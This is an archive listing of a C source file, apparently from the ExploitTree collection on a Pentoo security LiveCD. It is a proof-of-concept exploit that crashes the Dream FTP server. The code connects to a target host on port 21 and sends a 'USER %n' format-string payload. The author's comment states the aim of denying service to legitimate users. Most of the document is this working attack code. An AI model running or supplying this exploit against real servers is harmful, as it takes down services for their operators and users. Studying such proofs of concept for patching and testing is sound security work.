home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / dreamftp / dreamftp-DoS.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  92 lines

  1. /* dreamftp-DoS.c - Dream FTP format string
  2. vulnerability DoS PoC.
  3.  *
  4.  * This program is a simple PoC for the format string
  5. vulnerability found
  6.  * in BolinTech dreamftp by intuit.  Although
  7. theoretically there is a
  8.  * window of possibility of arbitrary code execution,
  9. the vulnerability is
  10.  * simply demonstrated to cause DoS.  After running
  11. this code against a
  12.  * Dream FTP server, the daemon will crash, denying
  13. service to legimate
  14.  * users.
  15.  *
  16.  *
  17.  * -shaun2k2 - shaunige@yahoo.co.uk
  18.  */
  19.  
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <sys/socket.h>
  24. #include <sys/types.h>
  25. #include <netdb.h>
  26. #include <netinet/in.h>
  27.  
  28. #define PORT 21
  29.  
  30. int main(int argc, char *argv[]) {
  31.         if(argc < 2) {
  32.                 printf("Dream FTPd format string
  33. vulnerability DoS PoC,\n");
  34.                 printf("by shaun2k2 -
  35. shaunige@yahoo.co.uk\n\n");
  36.                 printf("Usage: %s <host>\n", argv[0]);
  37.                 exit(-1);
  38.         }
  39.  
  40.         int sock;
  41.         struct hostent *he;
  42.         struct sockaddr_in dest;
  43.         char explbuf[10];
  44.  
  45.  
  46.         if((he = gethostbyname(argv[1])) == NULL) {
  47.                 herror("gethostbyname()");
  48.                 exit(-1);
  49.         }
  50.  
  51.  
  52.         printf("Dream FTPd format string vulnerability
  53. DoS PoC,\n");
  54.         printf("by shaun2k2 -
  55. shaunige@yahoo.co.uk\n\n");
  56.  
  57.         printf("[+] Crafting exploit buffer...\n\n");
  58.         memcpy(explbuf, "USER %n\r\n", 9);
  59.  
  60.         if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
  61. 0) {
  62.                 perror("socket()");
  63.                 exit(-1);
  64.         }
  65.  
  66.         dest.sin_family = AF_INET;
  67.         dest.sin_port = htons(PORT);
  68.         dest.sin_addr = *((struct in_addr
  69. *)he->h_addr);
  70.  
  71.         printf("[+] Connecting...\n");
  72.         if(connect(sock, (struct sockaddr *)&dest,
  73. sizeof(struct sockaddr)) < 0) {
  74.                 perror("socket()");
  75.                 exit(-1);
  76.         }
  77.  
  78.         printf("[+] Connected!\n\n");
  79.  
  80.         sleep(1);
  81.         printf("[+] Sending malicious format
  82. string...\n");
  83.         send(sock, explbuf, strlen(explbuf), 0);
  84.         sleep(2);
  85.         close(sock);
  86.  
  87.         printf("[+] Done!\n");
  88.  
  89.         return(0);
  90. }
  91.  
  92.